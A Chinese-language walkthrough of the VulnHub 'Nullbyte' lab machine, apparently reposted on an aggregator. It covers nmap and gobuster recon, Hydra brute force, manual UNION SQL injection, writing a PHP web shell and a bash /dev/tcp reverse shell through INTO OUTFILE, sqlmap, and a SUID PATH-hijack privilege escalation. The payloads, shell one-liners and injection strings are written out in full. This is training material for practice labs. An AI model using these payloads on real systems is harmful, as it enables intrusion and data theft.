[VulnHub靶机渗透] Nullbyte

news2024/11/18 16:39:57
🍬 博主介绍

👨‍🎓 博主介绍:大家好,我是 hacker-routing ,很高兴认识大家~
✨主攻领域:【渗透领域】【应急响应】 【Java、PHP】 【VulnHub靶场复现】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!


目录

前言

一、信息收集

1、主句探测

2、端口扫描

3、漏洞扫描

二、渗透测试+信息收集

1、web渗透

2、目录扫描

3、hydra爆破key值

三、sql注入大赏

1、手工联合注入大赏

2、SQL注入写入一句话木马

3、SQL注入写入反弹shell

4、脚本小子,SQLmap一把梭

四、提权

1、ssh登录

2、SUID提权


前言

靶机精讲之Nullbyte。涉及Hydra表单暴力破解,John md5哈希暴力破解,手工SQL注入数据库信息猜解、SQL注入数据库写入一句话木马、写入反弹shell,使用SQLmap自动化注入,可谓SQL注入技能大赏。提权用具有suid权限的可执行文件,执行我们写入的shell的方式实现。很精彩的一台sql注入为主的靶机,值得研究和学习。

一、信息收集

1、主句探测

利用arp探测,发现靶机的IP地址是192.168.103.160

┌──(root💀kali)-[~]
└─# arp-scan -l

2、端口扫描

利用nmap进行端口扫描,发现靶机开放了80、111、777、38389端口,其中这里的ssh服务的22端口改成了777端口,这里需要师傅们注意下。

┌──(root💀kali)-[~]
└─# nmap -sS -A -p- 192.168.103.160

再利用nmap进行UDP端口的扫描,但是没有什么特别值得去挖掘的地方,从目前的情况来看,80端口是最值得去查看的。

┌──(root💀kali)-[~]
└─# nmap -sU --top-port 20 192.168.103.160
  • -sU: 这个选项告诉Nmap执行UDP扫描。
  • --top-port 20: 这个选项告诉Nmap只扫描最常见的20个端口。Nmap会扫描UDP端口1到20,这些端口通常是最有可能开放的UDP端口。

3、漏洞扫描

利用nmap进行漏洞扫描挖掘,看看有没有什么新的发现。

┌──(root💀kali)-[~]
└─# nmap --script=vuln -p80,111,777,38389 192.168.103.160
  • nmap: 这是Nmap扫描程序的命令。
  • --script=vuln: 这个选项告诉Nmap使用漏洞扫描脚本,以探测目标主机上的已知漏洞。
  • -p80,111,777,38389: 这个选项指定了要扫描的端口号,包括80(常用的Web服务端口)、111(RPC端口)、777(ssh端口)和38389等。
  • 192.168.103.160: 这是目标主机的IP地址。

扫描发现,web的80端口下有/phpmyadmin/目录,以及扫描发现到这个靶场还可能存在CVE:CVE-2007-6750漏洞,这个漏洞大家可以上网查找一下,然后复现下。我这里复现过了,他这个漏洞的危害就是,可以利用MSF模块进行攻击,然后使http页面瘫痪,访问不了的作用,但是这里对我们的渗透测试没有什么特别大的价值。

二、渗透测试+信息收集

1、web渗透

访问web的80端口,就一张图片,右击查看网页源代码,就显示了一张图片名字,没有任何的提示了。还是没有什么发现,我们尝试进行目录扫描,看看有什么突破没有。

2、目录扫描

我们利用gobuster 进行扫描目录,发现扫描得到了/uploads、/phpmyadmin、/javascript目录,我们下面尝试进行访问扫描出来的目录。

┌──(root💀kali)-[~]
└─# gobuster dir -u http://192.168.103.160 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
  • gobuster: 这是目录和文件爆破工具。
  • dir: 利用gobuster执行目录爆破。
  • -u http://192.168.103.160: 要爆破的目标URL。
  • -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt: 这个字典在kali中常用于进行目录爆破的,师傅们可以记下

访问/uploads/目录,提示这个目录下没有任何的文件,这就给我们一个提示,说不定是叫我们到时候上传上去呢,要不然不会无辜给出一个/uploas/目录的,这个我们后面多注意下。

访问/phpmyadmin/目录,发现需要进行登录,一般像这种情况,我们可以进行弱口令登录,有就有,没有就算了,因为实战中就是这莫个思路。

想到要账号密码,那我们得进行信息收集,把像密码的收集起来,然后进行登录尝试。

我们开始进行web渗透信息收集的时候,开始有张图片,我们可以按照CTF的思路进行分析,因为这张图片是在web网站的根目录下,所以我们可以直接进行下载。

┌──(root💀kali)-[~/桌面]
└─# wget http://192.168.103.160/main.gif

利用exiftool 工具,得到一串特殊的字符串,看着很像密码,我们把这一串保存下来。

然后放到开始的/phpmyadmin/目录下,尝试root/admin的密码登录,但是发现都失败了,那kzMb5nVYJw到底是什么呢?

说不定是目录呢,这也有可能啊,我们目前也没有什么突破点,那就死马当活马医,尝试尝试把。

exiftool main.gif 

还真的是一个目录,太神奇了,以前都都很少遇到!!!

我们尝试输入一个值,发现报错,我们看看网页源代码,提示说这个表单没有连接到mysql,密码没有那么复杂。

并且我们可以看到这个key是password类型,说明这是一个密码,我们可以尝试利用hydra进行密码爆破。

3、hydra爆破key值

利用hydra九头蛇进行爆破,其中rockyou.txt是kali中常用密码碰撞的字典,师傅们可以记录下。

爆破后得到密码是:elite

┌──(root💀kali)-[~/桌面]
└─# hydra 192.168.103.160 http-form-post "/kzMb5nVYJw/index.php:key=^PASS^:invalid key" -l routing -P /usr/share/wordlists/rockyou.txt
  • hydra: 这是执行暴力破解攻击的工具。
  • 192.168.103.160: 这是目标主机的IP地址。
  • http-form-post: 这个选项告诉Hydra使用HTTP POST方法来提交表单。
  • "/kzMb5nVYJw/index.php:key=^PASS^:invalid key": 这是指定了要攻击的目标URL和表单字段。在这个URL中,kzMb5nVYJw/index.php 是表单提交的路径,key=^PASS^ 是表单字段,^PASS^ 是Hydra将会尝试猜测的密码的占位符,而 invalid key 是当密码错误时,网站返回的响应。
  • -l routing: 这个选项指定了要猜测的用户名,routing 在这里是一个示例用户名。
  • -P /usr/share/wordlists/rockyou.txt: 这个选项指定了用于猜测密码的字典文件路径。在这里,使用了一个常见的密码字典文件 /usr/share/wordlists/rockyou.txt

输入key后,得到下面的界面

三、sql注入大赏

1、手工联合注入大赏

我们右击查看源代码,发现了420search.php 文件,这个文件应该是与这个界面交互的一个文件。

我们随便输入一个123,提示我们成功查询到数据,并且我们发现这里存在GET传参,

我们把123删掉,发现了两个用户,以及别的信息,这很有可能存在sql注入漏洞,我们下一步就是可以进行sql注入漏洞尝试。

当我们输入双引号",发现这个页面报错了,说明我们的猜想是正确的,就是存在sql注入

1、order by查看这个数据库的列数,我们发现3列正常回显,而4列的时候报错了,说明这个数据库就是3列。

" order by 1,2,3-- -

2、union select查看数据库,发现数据库的名是:seth

" union select 1,2,database()-- -

3、查看表,发现表名叫users

" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()-- -

4、查看列名,得到列:id,user,pass,position

" union select 1,2,group_concat(column_name) from information_schema.columns where table_name="users"-- -

5、查看user,pass内容,为了看清楚,我这里把user和pass分别查看,因为pass是一个字符串比较长。

" union select 1,2,group_concat(user) from users-- -

" union select 1,2,group_concat(pass) from users-- -

进行base64解码,然后得到一个看上去很像MD5的字符串。

┌──(root💀kali)-[~/桌面]
└─# echo "YzZkNmJkN2ViZjgwNmY0M2M3NmFjYzM2ODE3MDNiODE" |base64 -d                                                                                                      2 ⚙
c6d6bd7ebf806f43c76acc3681703b81

利用hash-identifier工具进行判断,说明就是MD5加密的

┌──(root??kali)-[~/桌面]
└─# hash-identifier "c6d6bd7ebf806f43c76acc3681703b81" 

进行MD5解密,得到密码mega

MD5免费在线解密破解_MD5在线加密-SOMD5

我们下面就可以进行ssh登录了

┌──(root💀kali)-[~/桌面]
└─# ssh ramses@192.168.103.160 -p 777                                                                                                                                  3 ⚙
The authenticity of host '[192.168.103.160]:777 ([192.168.103.160]:777)' can't be established.
ECDSA key fingerprint is SHA256:H/Y/TKggtnCfMGz457Jy6F6tUZPrvEDD62dP9A3ZIkU.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[192.168.103.160]:777' (ECDSA) to the list of known hosts.
ramses@192.168.103.160's password: 

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Aug  2 01:38:58 2015 from 192.168.1.109
ramses@NullByte:~$ id
uid=1002(ramses) gid=1002(ramses) groups=1002(ramses)
ramses@NullByte:~$ whoami
ramses
ramses@NullByte:~$ uname -a
Linux NullByte 3.16.0-4-686-pae #1 SMP Debian 3.16.7-ckt11-1+deb8u2 (2015-07-17) i686 GNU/Linux

2、SQL注入写入一句话木马

采用另外一种方法进行注入获取登录凭据。我们尝试通过注入写入一句话php木马,一句话木马如下:

<?php system($_GET[cmd]);?>
实际上,注入时能写入文件的前提有两点:

1.数据库secure_file_priv参数为空,即我们具有写的权限。

2.需要知道写入文件位置的绝对路径。之前进行目录爆破的时候我们看到了目录uploads,这个目录很可能可以写入。

这里我们利用into outfile写入php木马文件到/var/www/html/uploads/目录下,然后利用GET传参,执行命令。

" union select "<?php system($_GET['a']); ?>", 2, 3 into outfile "/var/www/html/uploads/shell.php" -- -

我们发现命令执行成功了,

尝试读取一些敏感文件,存在注入的页面的源代码提示我们这个界面与420search.php这个后端文件有交互,那我们就尝试读取420search.php即可:

?cmd=cat%20/var/www/html/kzMb5nVYJw/420search.php

得到:数据库的账号为root,密码为sunnyvale

那么我们就可以利用这个账号密码进行登录/phpmyadmin/了

跟我们第一种方法一样,都拿到了用户以及密码的加密字符串,解密的方式都一样,我这里就不再给师傅们演示了。

3、SQL注入写入反弹shell

我们这个靶机的那个存在sql注入界面的地方,我们第二种方法是以写入php木马执行文件,然后进行执行命令,那么我们可以执行命令,我们不就可以直接写入反弹shell的木马,然后直接迁移shell了。(下面的是监听的IP,也就是你自己的kali机器的IP地址)

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.103.129/1234 0>&1'"); ?>

我们同样可以通过注入的方式直接把这行代码写入/uploads/目录,命名为 nc.php,注入语句如下:

(特别注意由于php语句是在双引号内,因此php语句中出现的双引号需要加\进转义)

" union select "<?php exec(\"/bin/bash -c 'bash -i >& /dev/tcp/192.168.103.129/1234 0>&1'\"); ?>", 2, 3 into outfile "/var/www/html/uploads/nc.php" -- -

先在kali上进行监听,然后再访问/uploads/nc.php文件,就可以成功反弹shell了。

然后切换到/var/www/html/kzMb5nVYJw目录下,就可以跟第二种方法一样利用账号密码,然后拿到ssh远程账号和密码,然后再进行提权操作。

4、脚本小子,SQLmap一把梭

利用sqlmap跑脚本,就不带师傅们讲太多了,只要找到了注入点,直接用脚本的命令跑就好了。

┌──(root💀kali)-[/usr/share/wordlists]
└─# sqlmap -u "http://192.168.103.201/kzMb5nVYJw/420search.php?usrtosearch=1" --dump --batch

得到的结果和开始前三种方法都是一样的,得到ssh登录的shell

+----+---------------------------------------------+--------+------------+
| id | pass                                        | user   | position   |
+----+---------------------------------------------+--------+------------+
| 1  | YzZkNmJkN2ViZjgwNmY0M2M3NmFjYzM2ODE3MDNiODE | ramses | <blank>    |
| 2  | --not allowed--                             | isis   | employee   |
+----+---------------------------------------------+--------+------------+

密码,先base64解密,然后再md5解密,

得到密码是:omega

四、提权

1、ssh登录

┌──(root💀kali)-[~]
└─# ssh ramses@192.168.103.160 -p 777 

  密码omega

2、SUID提权

我们进行sudo -l,查看定时任务都没有发现什么有价值的信息,但是我们查看具有suid权限的,也就是权限中具有S位,说明该文件运行时具有其属主的权限,就是root的权限。

确实是具有S权限的,也就是root权限的,我们可以利用执行这个命令,然后提权。

ramses@NullByte:~$ ls -la /var/www/backup/procwatch
-rwsr-xr-x 1 root root 4932 Aug  2  2015 /var/www/backup/procwatch

切换到/var/www/backup目录下,查看文件详细内容

尝试用运行procwatch,看看发生了什么:

ramses@NullByte:/var/www/backup$ ./procwatch
  PID TTY          TIME CMD
 1390 pts/0    00:00:00 procwatch
 1391 pts/0    00:00:00 sh
 1392 pts/0    00:00:00 ps

发现貌似还执行了两个命令,sh可能与shell相关,ps可能与进程相关。此时我们的提权思路就是将提权的代码写入procwatch的相关文件中,而这个操作与sh和ps相关,这样在执行procwatch的时候,由于procwatch具有s权限,就可以以root身份运行,从而触发提权。

首先建立一个软连接,将ps连接到/bin/sh,这样在执行procwatch的时候,无论是sh还是ps都会把root的sh(shell)带出来:

ln -s /bin/sh ps

然后我们修改环境变量,将当前目录.追加到环境变量的最开始:

export PATH=.:$PATH

然后我们运行procwatch,由于procwatch文件具有s权限,会以属主root运行,通过前面的操作可知,运行procwatch会触发sh。因此就相当于以root启动了shell,应该就可以提权了。

ramses@NullByte:/var/www/backup$ ./procwatch
  PID TTY          TIME CMD
 1390 pts/0    00:00:00 procwatch
 1391 pts/0    00:00:00 sh
 1392 pts/0    00:00:00 ps
ramses@NullByte:/var/www/backup$ ln -s /bin/sh ps
ramses@NullByte:/var/www/backup$ ls -la
total 20
drwxrwxrwx 2 root   root   4096 Mar 10 18:00 .
drwxr-xr-x 4 root   root   4096 Aug  2  2015 ..
-rwsr-xr-x 1 root   root   4932 Aug  2  2015 procwatch
lrwxrwxrwx 1 ramses ramses    7 Mar 10 18:00 ps -> /bin/sh
-rw-r--r-- 1 root   root     28 Aug  2  2015 readme.txt
ramses@NullByte:/var/www/backup$ export PATH=.:$PATH
ramses@NullByte:/var/www/backup$ ./procwatch
# id
uid=1002(ramses) gid=1002(ramses) euid=0(root) groups=1002(ramses)

成功拿下了这台靶机!!!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1507898.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

路由器动态路由配置

本博客为观看湖科大的教书匠系列计算机网络视频的学习笔记。 静态路由选择动态路由选择采用人工配置的方式给路由器添加网络路由、默认路由和特定主机路由等路由条目。路由器通过路由选择协议自动获取路由信息。静态路由选择简单、开销小&#xff0c;但不能及时适应网络状态(流…

灭火新选择:便携式森林灭火泵,轻巧而强大

随着人类对自然环境的破坏&#xff0c;森林火灾频发&#xff0c;给生态环境和人民生命财产安全带来严重威胁。为了有效地应对森林火灾&#xff0c;恒峰研发出了一种便携式森林灭火泵&#xff0c;它将成为森林火灾的守护神。本文将详细介绍便携式森林灭火泵的特点、优势以及使用…

ORACLE RAC数据库压力测试(swingbench)

------------------------------------------------------------------- 欢迎关注作者 墨天伦:潇湘秦的个人主页 - 墨天轮 CSDN:潇湘秦-CSDN博客 公众号:潇湘秦的DBA之路 ------------------------------------------------------------------- 为了验证跑在虚拟机上的or…

WhatsApp模板信息申请大全:更好地触达WhatsApp客户

按照WhatsApp通话规则&#xff0c;用户主动和我们开始聊天后的24小时内&#xff0c;我们也是可以通过WhatsApp无限次数地与对方进行自定义消息对话&#xff0c;并且只计为一次服务型会话费用。 但是如果超过了24小时&#xff0c;我们还希望可以继续联系对方的话&#xff0c;只…

1688 API接口在数据分析与营销决策中的应用探索

在当今数字化快速发展的时代&#xff0c;数据分析与营销决策已成为企业运营中不可或缺的重要环节。而1688 API接口&#xff0c;作为阿里巴巴旗下的一个强大的数据交互平台&#xff0c;为企业在数据分析与营销决策方面提供了丰富的数据源和灵活的操作方式。本文将深入探讨1688 A…

每日OJ题_路径dp⑤_力扣64. 最小路径和

目录 力扣64. 最小路径和 解析代码 力扣64. 最小路径和 64. 最小路径和 难度 中等 给定一个包含非负整数的 m x n 网格 grid &#xff0c;请找出一条从左上角到右下角的路径&#xff0c;使得路径上的数字总和为最小。 说明&#xff1a;每次只能向下或者向右移动一步。 示…

Docker常用基础指令

目录 1 前言 2 常用指令 2.1 获取帮助 2.2 拉取镜像到本地 2.3 对本地镜像进行打包 2.4 对本地镜像的删除 2.5 通过tar包加载本地镜像 2.6 查看所有镜像 2.7 创建新的容器 2.8 查看容器 2.9 停止容器运行 2.10 运行容器 2.11 删除容器 2.12 查看容器日志 2.13 进…

应用资料 | 电动工具直流调速专用集成电路GS069

01 产品简介 GS069是CMOS工艺、电动工具直流调速专用集成电路。具有电源电压范围宽、功耗小、抗干扰能力强等特点。 应用范围&#xff1a;广泛应用于各种电动工具。 02 产品基本参数 03 产品应用 1、应用图&#xff1a; 2、测试参数&#xff1a;&#xff08;VCC9V&…

智慧公厕:提升城市形象与民生满意度的智能解决方案

智慧公厕是指通过智能化设备和系统&#xff0c;实现公共厕所的智能管理和智慧化服务的一种先进解决方案。它不仅可以紧跟政策要求&#xff0c;提升城市的整体形象&#xff0c;还能提供舒适的用厕环境&#xff0c;改善市民群众的生活品质。本文以智慧公厕源头实力厂家广州中期科…

墨水屏电子桌牌选购攻略:打造企业现代形象!

随着科技的不断发展&#xff0c;墨水屏电子会议桌牌作为一种新型的会议辅助工具&#xff0c;不仅能够提升会议效率&#xff0c;还能展现企业的现代化形象。然而&#xff0c;面对市场上琳琅满目的产品&#xff0c;企业如何选购合适的墨水屏电子会议桌牌呢&#xff1f;下面&#…

Linux快速入门学习-2 Linux安装环境准备

文章目录 Linux发展前景及就业形势Windows操作系统简介硬盘分区简介Linux安装环境准备Linux系统安装图解 Linux发展前景及就业形势 权威部门统计&#xff0c;未来几年内我国软件行业的从业机会十分庞大&#xff0c;中国每年对IT软件人才的需求将达到200万人左右。而对于Linux专…

Css基础——Css的定位

1、定位模式 1.1、静态定位 static 1.2、相对定位 relative postion:relative&#xff1a; 1、是相对于自己本来的位置进行的边偏移 2、它不会脱标&#xff0c;仍然会在它文件流时候应有的位置 html&#xff1a; <!DOCTYPE html> <html lang"en">&l…

【编程语言】C#语言相关知识

前言&#xff1a;我们在游戏开发的过程中&#xff0c;往往会通过游戏引擎结合编程语言的方式&#xff0c;来作为项目开发的手段。因此&#xff0c;了解相关语言的特性、发展和前沿知识&#xff0c;就显得相当必要。笔者这里结合自身的工作经验和学习心得&#xff0c;用简洁通俗…

南蛮图腾的题解

目录 原题描述&#xff1a; 题目描述 输入格式 输出格式 样例 Input 1 Output 1 Input 2 Output 2 Input 3 Output 3 样例解释 数据范围 主要思路&#xff1a; ACCode: 作者的灵魂拷问&#xff1a; 原题描述&#xff1a; 时间限制: 1000ms 空间限制: 524288kB 题目…

2024年,找工作不要太老实!胆子越大,涨薪越多!

又到了金三银四跳槽季。 送给大家一句话&#xff1a;“脸皮厚能吃肉&#xff0c;脸皮薄吃不着&#xff01;” 这句俗语可是大实话&#xff0c;在找工作的时候一样适用。 面试的多了你就会发现&#xff0c;脸皮厚、胆子大可能是帮你找到工作&#xff0c;找到好工作的最佳助力。…

安全知识分享域渗透

内网渗透思维导图 密码相关域渗透攻击思路DACL的应用NTLM 中继攻击滥用 ACE 内网渗透思维导图 专注于web漏洞挖掘、内网渗透、免杀和代码审计&#xff0c;感谢各位师傅的关注&#xff01;网安之路漫长&#xff0c;与君共勉&#xff01; 密码相关 域渗透攻击思路 常见攻击手法&a…

基于springboot+vue实现早餐店点餐系统项目【项目源码+论文说明】

基于springbootvue实现早餐店点餐系统演示 摘要 多姿多彩的世界带来了美好的生活&#xff0c;行业的发展也是形形色色的离不开技术的发展。作为时代进步的发展方面&#xff0c;信息技术至始至终都是成就行业发展的重要秘密。不论何种行业&#xff0c;大到国家、企业&#xff0…

ASP.Net实现玩具管理(三层架构,两项数据相乘)

目录 演示功能&#xff1a; 点击启动生成页面 步骤&#xff1a; 1、建文件 ​编辑 2、添加引用关系 3、根据数据库中的列写Models下的XueshengModels类 4、DAL下的DBHelper&#xff08;对数据库进行操作&#xff09; 5、DAL数据访问层下的service文件 6、BLL业务逻辑层…

计算机服务器中了faust勒索病毒怎么解密,faust勒索病毒解密工具流程

在互联网飞速发展的今天&#xff0c;越来越多的企业走向了数字化办公模式&#xff0c;许多企业开始利用网络计算机开展各项工作业务&#xff0c;网络也为企业的生产效率提供了极大便利&#xff0c;但网络中存在许多恶意威胁。近日&#xff0c;云天数据恢复中心接到许多企业的求…

【C++】NULL值在C、C++中的歧义

NULL实际是一个宏&#xff0c;在头文件stddef.h中是这么定义的&#xff1a; #ifndef NULL #ifdef __cplusplus #define NULL 0 #else #define NULL ((void *)0) #endif #endif从定义可以看出NULL可能是0&#xff0c;也可能是(void*)0&#xff0c;但C将NULL看做0&#xff0…